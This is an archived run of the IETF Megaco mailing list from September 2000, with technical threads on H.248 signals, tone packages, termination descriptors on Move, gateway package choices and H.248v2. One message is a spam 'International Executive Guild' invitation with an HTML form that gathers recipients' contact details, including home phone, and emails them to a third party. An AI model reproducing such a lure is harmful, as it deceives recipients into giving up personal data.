          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 10:47:50 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB93F5E@standards.nortelnetworks.com>; Fri, 15 Sep 2000 10:47:49
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id LAA15332; Fri, 15 Sep 2000 11:01:13 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id LAA23181; Fri, 15 Sep 2000 11:01:15 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XKFBH>; Fri, 15 Sep 2000 11:01:13 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678884@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 15 Sep 2000 11:00:53 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Signal application query.
X-To:         "bmbabu@HSS.HNS.COM" <bmbabu@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

It "starts over".  For some continuous tone, that's the
same as with keepActive.  For something like an announcement,
it starts again.

Brian

> -----Original Message-----
> From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> Sent: Friday, September 15, 2000 10:13 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Signal application query.
>
>
> If signal X is being played on termination T1 and if signal
> descriptor is
> recieved for the same termination with X signal in it without
> keepactive flag
> what is the expectation of MGC in this case. Since protocol
> only talks about
> continuation of the signal if already playing when keepactive
> flag is ON. No
> text is given if the same signal is received without keepactive flag?
> Regards,
> -Madhubabu
> Hughes Software Systems.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 14:55:10 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23966
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 14:55:09 -0400 (EDT)
Received: from standards (47.234.32.16:2378) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB94149@standards.nortelnetworks.com>; Fri, 15 Sep 2000 14:37:30 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 10386 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 14:37:29 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB94148@standards.nortelnetworks.com>; Fri, 15 Sep 2000 14:37:29
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e8FItOH15784 for
          <megaco@standards.nortelnetworks.com>; Fri, 15 Sep 2000 11:55:24
          -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id LAA19655 for
          <megaco@standards.nortelnetworks.com>; Fri, 15 Sep 2000 11:50:41
          -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L65PJ>; Fri, 15 Sep 2000 11:42:17 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5DAFF468@aega.trillium.com>
Date:         Fri, 15 Sep 2000 11:42:16 -0700
Reply-To: Naren Tulpule <naren@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Naren Tulpule <naren@TRILLIUM.COM>
Subject:      Tone ID vs Tone ID list
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi,
  in tonegen/tonedet and derived packages, for signal/event parameters, we
have two codepoints - tid (0x0003) for tone ID and tl (0x0001) for tone ID
list. Since they will be followed by 'parmValue' which can be '= VALUE' or
list of values (e.g. '= [VALUE, VALUE, ...]' for AND of values) why do we
need a seperate tid and tl? Is there a semantic difference between the two?

-- Naren.
These views and opinions are mine alone, not those of Intel    (yet ;-),
Narendra C. Tulpule SMTS, Trillium (an Intel company)
Ph: +1-310-442-9222              Fax: +1-310-442-1162
12100 Wilshire Bl #1800         Los Angeles, CA 90025


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 16:46:00 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24811
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 16:46:00 -0400 (EDT)
Received: from standards (47.234.32.16:3558) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB942B7@standards.nortelnetworks.com>; Fri, 15 Sep 2000 16:30:47 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 10866 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 16:30:47 -0400
Received: from qhars002.nortel.com (47.101.112.102:60154) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB942B1@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          16:20:46 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Fri, 15 Sep 2000 21:33:47 +0100
Received: from zcard015.ca.nortel.com (actually zcard015) by
          ertpg14e1.nortelnetworks.com; Fri, 15 Sep 2000 16:33:21 -0400
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2652.39) id S7VR7VXG; Fri, 15 Sep 2000 16:33:20
          -0400
Received: from americasm10.nt.com (PMERY0H8 [47.72.81.80]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2652.39) id S9AW73SB; Fri, 15 Sep 2000 16:33:20
          -0400
X-Sybari-Space: 00000000 00000000 00000000
X-Mailer: Mozilla 4.72 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678880@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C288E5.95853AF1@americasm10.nt.com>
Date:         Fri, 15 Sep 2000 16:39:01 -0400
Reply-To: Michael Brown <C.Michael.Brown@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Michael Brown <C.Michael.Brown@NORTELNETWORKS.COM>
Organization: Nortel Networks
Subject:      Re: Descriptor intrepretation in Move.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

I agree that is right. I had a co-worker ask that same question of me a few
days ago because of the use of the word subtract in the text. Perhaps a
clarification in the implementer's guide would be in order. Any changes to
the descriptors would be handled by the MGC based on it's knowledge of the
context to which the termination is moved.

Michael

"Rosen, Brian" wrote:

> I believe the termination's descriptors retain their current
> value on a Move.
>
> Brian
>
> > -----Original Message-----
> > From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> > Sent: Friday, September 15, 2000 10:12 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Descriptor intrepretation in Move.
> >
> >
> > When termination T1 is moved from Context C1 to C2 what will
> > be the descriptors
> > that are valid for this termination in new context. There are
> > two sections in
> > the protocol that address this in two different ways. In
> > section 6.2.4 first
> > paragraph its said that "If not provisioned Otherwise, all
> > descriptors except
> > TerminationState and LocalControl default to empty/"no value"
> > when a Termination
> > is first created or returned to the null context". From this it can be
> > understood that the same descriptors will be retained when
> > moved to the new
> > context. But in section 7.2.4  second paragraph mentions that
> > "By convention,
> > the Termination is subtracted from its previous Context".
> > Does this mean that
> > only the new descriptors provided in the Move command will be
> > applicable and not
> > the old ones?
> > Regards
> > -Madhubabu
> > Hughes Software System.
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 15 18:40:32 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA25635
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 15 Sep 2000 18:40:31 -0400 (EDT)
Received: from standards (47.234.32.16:2255) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB943A8@standards.nortelnetworks.com>; Fri, 15 Sep 2000 18:25:32 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 11183 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 15 Sep 2000 18:25:32 -0400
Received: from netmail2.alcatel.com (hosta833.alcatel.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB943A5@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          18:15:31 -0400
Received: from mailhub.ind.alcatel.com (mailhub.ind.alcatel.com
          [198.206.181.70]) by netmail2.alcatel.com (8.9.1/8.9.1) with ESMTP id
          RAA13409 for <MEGACO@standards.nortelnetworks.com>; Fri, 15 Sep 2000
          17:28:15 -0500 (CDT)
Received: from newman.xylan.com (localhost [127.0.0.1]) by
          mailhub.ind.alcatel.com (8.9.3+Sun/8.9.3/(mailhub 3.2.1 [HUB])) with
          ESMTP id PAA05884 for <MEGACO@standards.nortelnetworks.com>; Fri, 15
          Sep 2000 15:29:02 -0700 (PDT)
X-InterScan: Passed
Received: from ind.alcatel.com ([127.0.0.1]) by newman.xylan.com (Netscape
          Messaging Server 3.6)  with ESMTP id AAA6F13 for
          <MEGACO@standards.nortelnetworks.com>; Fri, 15 Sep 2000 15:29:01 -0700
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.14-5.0smp i686)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C2A305.9D543B1B@ind.alcatel.com>
Date:         Fri, 15 Sep 2000 15:30:29 -0700
Reply-To: Isabelle Cnudde <Isabelle.Cnudde@IND.ALCATEL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Isabelle Cnudde <Isabelle.Cnudde@IND.ALCATEL.COM>
Organization: Alcatel
Subject:      packages
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi ,

MEGACO defines several packages.
Could one tell me which ones are required in a trunking gateway and
which ones are required in an access gateway?

What do you think of the following split?

Packages for trunking GW:
    . Generic package
    . Base Root package
    . Basic Continuity package
    . Network package
    . RTP package
    . TDM Circuit package

Packages for access GW:
    . Generic package
    . Base Root package
    . Basic Continuity package
    . Network package
    . RTP package
    . Tone Detection
    . Tone Generator
    . Basic DTMF Detector
    . Basic DTMF Generation
    . Call Progress Tones Generator
    . Call Progress Tones Detection
    . Analog Line Supervision

Thanks for sharing your ideas/comments,
Isabelle


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Sep 17 14:00:39 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA10556
	for <megaco-archive@LISTS.IETF.ORG>; Sun, 17 Sep 2000 14:00:38 -0400 (EDT)
Received: from standards (47.234.32.16:3595) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB94ABF@standards.nortelnetworks.com>; 17 Sep 2000 13:44:40 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13627 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 17 Sep 2000 13:44:40 -0400
Received: from roamnet.com.tw (203.65.235.10:4098) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB94ABE@standards.nortelnetworks.com>; 17 Sep 2000 13:34:37
          -0400
Received: from host [206.133.176.182] by roamnet.com.tw with ESMTP
          (SMTPD32-4.06) id A6351CA7002E; Mon, 18 Sep 2000 01:45:41 PDT
X-Mailer: Microsoft Outlook Express 4.72.1712.3
X-MimeOLE: Produced By Microsoft MimeOLE VÐßD.1712.3
Mime-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_007F_01BDF6C7.FABAC1B0"
Content-Transfer-Encoding: 7bit
Message-ID:  <MEGACO%2000091713444034@STANDARDS.NORTELNETWORKS.COM>
Date:         Sun, 17 Sep 2000 12:49:46 -0500
Reply-To: Frank levin <wrk23@KOZMAIL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
Comments:     RFC822 error: <W> Incorrect or incomplete address field found and
              ignored.
From: Frank levin <wrk23@KOZMAIL.COM>
Subject:      You are Invited #4E16
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a MIME Message

------=_NextPart_000_007F_01BDF6C7.FABAC1B0
Content-Type: multipart/alternative; boundary="----=_NextPart_001_0080_01BDF6C7.FABAC1B0"

------=_NextPart_001_0080_01BDF6C7.FABAC1B0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

***** This is an HTML Message ! *****


------=_NextPart_001_0080_01BDF6C7.FABAC1B0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!doctype html public "-//w3c//dtd html 4=2E0
 transitional//en">
 <html>
 <head>

    <title>Executive Guild Membership
 ApplicationResponse-O-Matic Form</title>
 </head>
 <body text=3D"#808080" bgcolor=3D"#F4AE68"
 link=3D"#800040" vlink=3D"#FF0000" alink=3D"#8080C0">
 <p><font color=3D"#000000">Dear Professional,<br>
 <br>
 You have been selected as a potential candidate for biographical<br>
 inclusion in the 2000 - 2001 Edition of the International Executive<br>
 Guild Registry=2E<br>
 <br>
 Please accept our congratulations for this coveted honor=2E<br>
 <br>
 As this edition is so important in view of the new millennium, the<br>
 International Executive Guild Registry will be published in two<br>
 different formats; the searchable CD-ROM and the Online Registry=2E<br>
 <br>
 Since inclusion can be considered recognition of your career position<br>=

 and professionalism, each candidate is evaluated in keeping with high<br>=

 standards of individual achievement=2E In light of this, the Internationa=
l<br>
 Executive Guild thinks that you may make an interesting biographical<br>
 subject=2E<br>
 <br>
 We look forward to your inclusion and appearance in the International<br>=

 Executive Guild's Registry=2E Best wishes for your continued success=2E<b=
r>
 <br>
 International Executive Guild<br>
 Listing Dept=2E<br>
 <br>
 P=2ES=2E There is no cost or obligation to be included in the Internation=
al<br>
 Executive Guild Registry=2E For accuracy and publication purposes, we ask=
<br>
 you to fill in the brief bit of information in the registration form<br>
 below=2E</font></p>
 <p>
 <hr WIDTH=3D"100%">
 <p align=3D"center"><b><i><font color=3D"#000000">If you
 wish to be removed from our list, please submit
 your request</font></i></b>
 <br><b><i><font face=3D"Times New
 Roman,Times"><font color=3D"#000000">at the
 bottom of this email=2E</font></font></i></b>
 </p>
 <hr WIDTH=3D"100%">
 <table WIDTH=3D"695" >
 <caption><script language=3D"JavaScript">

 <!--
 function validate_form() {
   validity =3D true; // assume valid
   if (!check_empty(document=2Eform=2Ebusphone=2Evalue))
         { validity =3D false; alert('Day Time
 Phone field is empty!'); }
     if (validity)
         alert ("Thank you for your registration!
 "
                 + "Your form is now being passed
 to your browser's "
                 + "Mail Delivery Sub-System for
 NORMAL"
                 + " NON-ENCRYPTED email
 delivery=2E"
                 + "  All email addresses are
 removed from our system"
                 + " upon registration=2E  Please
 click OK to proceed");
   return validity;
 }

 function check_empty(text) {
   return (text=2Elength > 0); // returns false if
 empty
 }

 // -->

 </script>


 <!-- CHANGE EMAIL ADDRESS IN ACTION OF FORM -->

 <form name=3D"form"
  method=3D"post"
  action=3D"mailto:wrk2@iwon=2Ecom?SUBJECT=3DInternet Lead"
  enctype=3D"text/plain"
  onSubmit=3D"return validate_form()"></caption>

 <tr>
 <td></td>
 </tr>

 <tr>
 <td VALIGN=3DTOP COLSPAN=3D"2">
 <center><b><i><font color=3D"#000000"><font
 size=3D+3>International Executive Guild</font></font></i></b>
 <br><b><font color=3D"#000000"><font
 size=3D+2>Registration Form</font></font></b>
 <br><b><font color=3D"#000000">(US and Canada
 Only)</font></b>
 <br>
 <hr WIDTH=3D"100%"></center>
 </td>
 </tr>

 <tr>
 <td VALIGN=3DTOP COLSPAN=3D"2"><i><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D+0>Please
 fill out this form if you would like to be
 included on The International
 Executive Guild, For accuracy and
 publication purposes, please
 complete and send this form at the earliest
 opportunity=2E There is </font>no
 charge or obligation<font size=3D+0> to be listed
 on The International Executive Guild=2E</font></font></font></i>
 <br>
 <hr WIDTH=3D"100%"></td>
 </tr>

 <tr>
 <td VALIGN=3DTOP></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-1>Your
 Name</font></font></font></b></td>

 <td ALIGN=3DLEFT WIDTH=3D"300"><input type=3D"text"
 value size=3D"50" maxlength=3D"250" name=3D"Name"></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-1>Your
 Company</font></font></font></b></td>

 <td ALIGN=3DLEFT WIDTH=3D"300"><input type=3D"text"
 value size=3D"50" maxlength=3D"250"
 name=3D"Company"></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-
 1>Title</font></font></font></b></td>

 <td ALIGN=3DLEFT WIDTH=3D"300"><input type=3D"text"
 value size=3D"50" maxlength=3D"250"
 name=3D"Title"></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-
 1>Address</font></font></font></b></td>

 <td ALIGN=3DLEFT WIDTH=3D"300"><input type=3D"text"
 value size=3D"50" maxlength=3D"250"
 name=3D"Address"></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-
 1>City</font></font></font></b></td>

 <td ALIGN=3DLEFT WIDTH=3D"300"><input type=3D"text"
 value size=3D"50" maxlength=3D"250" name=3D"City"></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-1>State
 or Province</font></font></font></b></td>

 <td ALIGN=3DLEFT WIDTH=3D"300"><input type=3D"text"
 value size=3D"12" maxlength=3D"50" name=3D"State"></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-
 1>Country</font></font></font></b></td>

 <td ALIGN=3DLEFT WIDTH=3D"300"><select
 NAME=3D"Country" Size=3D"1"><option SELECTED><font
 color=3D"#000000">USA<option
 SELECTED>Canada</font></select></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-1>ZIP/Postal
 Code</font></font></font></b></td>

 <td ALIGN=3DLEFT VALIGN=3DCENTER WIDTH=3D"300"><input
 type=3D"text" value size=3D"12" maxlength=3D"50"
 name=3D"Zip"></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-1>Day
 Time Telephone</font></font></font></b></td>

 <td ALIGN=3DLEFT WIDTH=3D"300"><input type=3D"text"
 value size=3D"22" maxlength=3D"50"
 name=3D"busphone"></td>
 </tr>

 <tr>
 <td>
 <div align=3Dright><b><font
 face=3D"Arial,Helvetica"><font
 color=3D"#000000"><font size=3D-1>Home
 Phone</font></font></font></b></div>
 </td>

 <td><input type=3D"text" value size=3D"22"
 maxlength=3D"50" name=3D"homephone"><b><font
 color=3D"#000000"><font size=3D-2>(Not
 To Be Published)</font></font></b></td>
 </tr>

 <tr>
 <td>
 <div align=3Dright><b><font
 face=3D"Arial,Helvetica"><font
 color=3D"#000000"><font size=3D-
 1>Email</font></font></font></b></div>
 </td>

 <td><input type=3D"text" value size=3D"50"
 maxlength=3D"100" name=3D"Email"></td>
 </tr>

 <tr>
 <td></td>

 <td></td>
 </tr>
 </table>

 <center>
 <p>
 <hr WIDTH=3D"100%"><b><font
 face=3D"ARIAL,HELVETICA"><font
 color=3D"#000000"><font size=3D-1>TO
 HELP US IN CONSIDERING YOUR APPLICATION, PLEASE
 TELL US A LITTLE ABOUT
 YOURSELF=2E=2E=2E</font></font></font></b>
 <br>
 <hr WIDTH=3D"100%"></center>

 <center><table WIDTH=3D"81%" >
 <tr>
 <td ALIGN=3DRIGHT VALIGN=3DTOP WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-1>Your
 Business</font></font></font></b></td>

 <td>
 <div align=3Dright><input type=3D"text" value
 size=3D"50" maxlength=3D"200"
 name=3D"business"></div>
 <font face=3D"arial,helvetica"><font color=3D"#000000"><font
 size=3D-1>(Financial
 Svcs, Banking, Computer Hardware, Software, Professional Svcs,
 Chemicals,
 Apparel, Aerospace, Food, Government, Utility,
 etc=2E)</font></font></font></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT VALIGN=3DTOP WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-1>Type
 of Organization</font></font></font></b></td>

 <td>
 <div align=3Dright><input type=3D"text" value size=3D"50" maxlength=3D"25=
0"
 name=3D"Orgtype"></div>
 <font face=3D"arial,helvetica"><font color=3D"#000000"><font size=3D-1>(M=
fg,
 Dist/Wholesaler, Retailer, Law Firm,</font></font></font>
 <br><font face=3D"arial,helvetica"><font color=3D"#000000"><font
 size=3D-1>Investment
 Bank, Commercial Bank, University,</font></font></font>
 <br><font face=3D"arial,helvetica"><font color=3D"#000000"><font
 size=3D-1>Financial
 Consultants, Ad Agency, Contractor, Broker,
 etc=2E)</font></font></font></td>
 </tr>

 <tr>
 <td VALIGN=3DTOP WIDTH=3D"300">
 <div align=3Dright><b><font face=3D"arial,helvetica"><font
 color=3D"#000000"><font
 size=3D-1>Your
 Business Expertise</font></font></font></b></div>
 </td>

 <td>
 <div align=3Dright><input type=3D"text" value size=3D"50" maxlength=3D"25=
0"
 name=3D"expertise"></div>
 <font face=3D"arial,helvetica"><font color=3D"#000000"><font
 size=3D-1>(Corp=2EMgmt,
 Marketing, Civil Engineering,</font></font></font>
 <br><font face=3D"arial,helvetica"><font color=3D"#000000"><font size=3D-=
1>Tax

 Law, Nuclear Physics, Database Development, Operations, Pathologist,
 Mortgage
 Banking, etc=2E)</font></font></font></td>
 </tr>

 <tr>
 <td ALIGN=3DRIGHT VALIGN=3DTOP WIDTH=3D"300"><b><font
 face=3D"arial,helvetica"><font
 color=3D"#000000"><font size=3D-1>Major
 Product Line</font></font></font></b></td>

 <td>
 <div align=3Dright><input type=3D"text" value size=3D"50" maxlength=3D"25=
0"
 name=3D"product"></div>
 <font face=3D"arial,helvetica"><font color=3D"#000000"><font
 size=3D-1>(Integrated
 Circuits, Commercial Aircraft, Adhesives, Cosmetics, Plastic Components,

 Snack Foods, etc=2E)</font></font></font></td>
 </tr>
 </table></center>

 <center>
 <p><input NAME=3D"submit" TYPE=3D"submit" VALUE=3D" Submit By E-Mail "><i=
nput
 NAME=3D"reset" TYPE=3D"reset" VALUE=3D" Clear Form "></form>
 <br><b><font color=3D"#000000"><font size=3D-1>Note: Submitting this form=

 will
 be made by email, not by use of&nbsp; www=2E&nbsp; Confirmation of its de=
livery
 is made by browsing your outgoing mail=2E</font></font></b>
 <br>
 <hr WIDTH=3D"100%"><b><i><font face=3D"arial,helvetica"><font
 color=3D"#000000"><font
 size=3D-1>Thank
 you for filling in this form, we will contact you with more
 information=2E</font></font></font></i></b>
 <br>
 <hr WIDTH=3D"100%">
 <br><b><font size=3D+1>List
 Removal</font></b>
 <br><b><font color=3D"#000000"><font size=3D-1><a
 href=3D"mailto:rtds72@usa=2Enet?subject=3Dremove">Click
 Here</a></font></font></b></center>

 </body>
 </html>

------=_NextPart_001_0080_01BDF6C7.FABAC1B0--

------=_NextPart_000_007F_01BDF6C7.FABAC1B0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Sep 17 21:45:30 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA13858
	for <megaco-archive@LISTS.IETF.ORG>; Sun, 17 Sep 2000 21:45:30 -0400 (EDT)
Received: from standards (47.234.32.16:4366) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB94B63@standards.nortelnetworks.com>; 17 Sep 2000 21:30:01 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13839 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 17 Sep 2000 21:30:01 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB94B62@standards.nortelnetworks.com>; 17 Sep 2000 21:30:00 -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id SAA06933; Sun, 17 Sep 2000 18:43:35 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D7F@zcard00g.ca.nortel.com>
            <39C01915.C358901@ericsson.com> <39C03FBC.A1E17DDF@cisco.com>
            <39C05E5F.674A9443@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C57459.13409C67@cisco.com>
Date:         Sun, 17 Sep 2000 21:48:09 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      H.248v2 [was Re: Can MGC modify term in NULL Context ?]
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

The ink is barely dry on v1 and we all went through tremendous efforts to ensure that
the IETF and ITU-T would develop a single protocol. Am I to understand it was a wasted
effort as there now will be two protocols after all ? Where does this leave Megaco ?

-- Flemming


Christian Groves wrote:

> G'Day Flemming,
>
> Its the version after H.248v1 and SG16 are working on it.
>
> Cheers, Christian
>
> Flemming Andreasen wrote:
> >
> > Question for clarification here:
> >
> > Exactly what is H.248v2 and who is working on it ?
> >
> > -- Flemming
> >
> > Christian Groves wrote:
> >
> > > G'Day all,
> > >
> > > With regards to the service change idea there was a contribution to the
> > > Portland SG16 meeting for H248v2 to add "ServiceChange => Capability
> > > Change" as an indication that something (property, signal, event etc)
> > > has changed on the MG and that the MGc should do an audit of what was
> > > indicated in the service change to find out the exact change.
> > >
> > > With regards to option 1 I did like the idea of the MGC being able to
> > > change properties in the NULL context and make them stick but then we
> > > have a mismatch between Physical and Euphemeral terminations as you
> > > wouldn't have the same ability for the MGC to make changes stick.
> > >
> > > Cheers, Christian
> > >
> > > Tom-PT Taylor wrote:
> > > >
> > > > Resonses marked by [PTT].
> > > >
> > > > > -----Original Message-----
> > > > > From: Kapil Nayar [mailto:knayar@HSS.HNS.COM]
> > > > > Sent: Wednesday, September 13, 2000 1:10 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Can MGC modify term in NULL Context ?
> > > > >
> > > > >
> > > > > Hi Tom, Brian
> > > > >
> > > > > Some confusion is ensuing from the replies......
> > > > >
> > > > > Do we have a consensus about the following:
> > > > > 1.   Default values are values specified in the packages.
> > > > [PTT] In the packages, and sometimes in the main protocol document.
> > > >
> > > > > 2.   Provisioned values are values configured at MG end.
> > > > [PTT] Right.
> > > >
> > > > >
> > > > > AND
> > > > > that we have two options do decide from
> > > > >
> > > > > Option 1
> > > > > MGC when modifies termination properties in the NULL context,
> > > > > changes the
> > > > > default/ provisioned values.
> > > > > These changes would be made to the package properties
> > > > > associated with the
> > > > > termination only.
